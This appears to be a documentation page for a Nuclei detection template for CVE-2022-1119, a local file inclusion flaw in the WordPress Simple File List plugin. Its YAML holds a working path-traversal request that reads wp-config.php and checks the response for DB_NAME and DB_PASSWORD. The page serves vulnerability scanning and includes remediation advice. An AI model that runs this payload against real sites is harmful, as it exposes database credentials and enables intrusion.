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WordPress Simple File List <3.2.8 - Local File Inclusion

ID: CVE-2022-1119

Severity: high

Author: random-robbie

Tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist

Description

Section titled “Description”

WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.

YAML Source

Section titled “YAML Source”
id: CVE-2022-1119


info:
  name: WordPress Simple File List <3.2.8 - Local File Inclusion
  author: random-robbie
  severity: high
  description: |
    WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e
    - https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606
    - https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1119
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1119
    cwe-id: CWE-22
    epss-score: 0.41577
    epss-percentile: 0.97306
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: simplefilelist
    product: simple-file-list
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022029b01d5691bd750a3c0a73f683e258989ce6866de448074d4376e4f3aa247b6e022100e8a18e94468bb236dad1c48b89294a9105565afed634fc17965435e2c87b8565:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1119.yaml"

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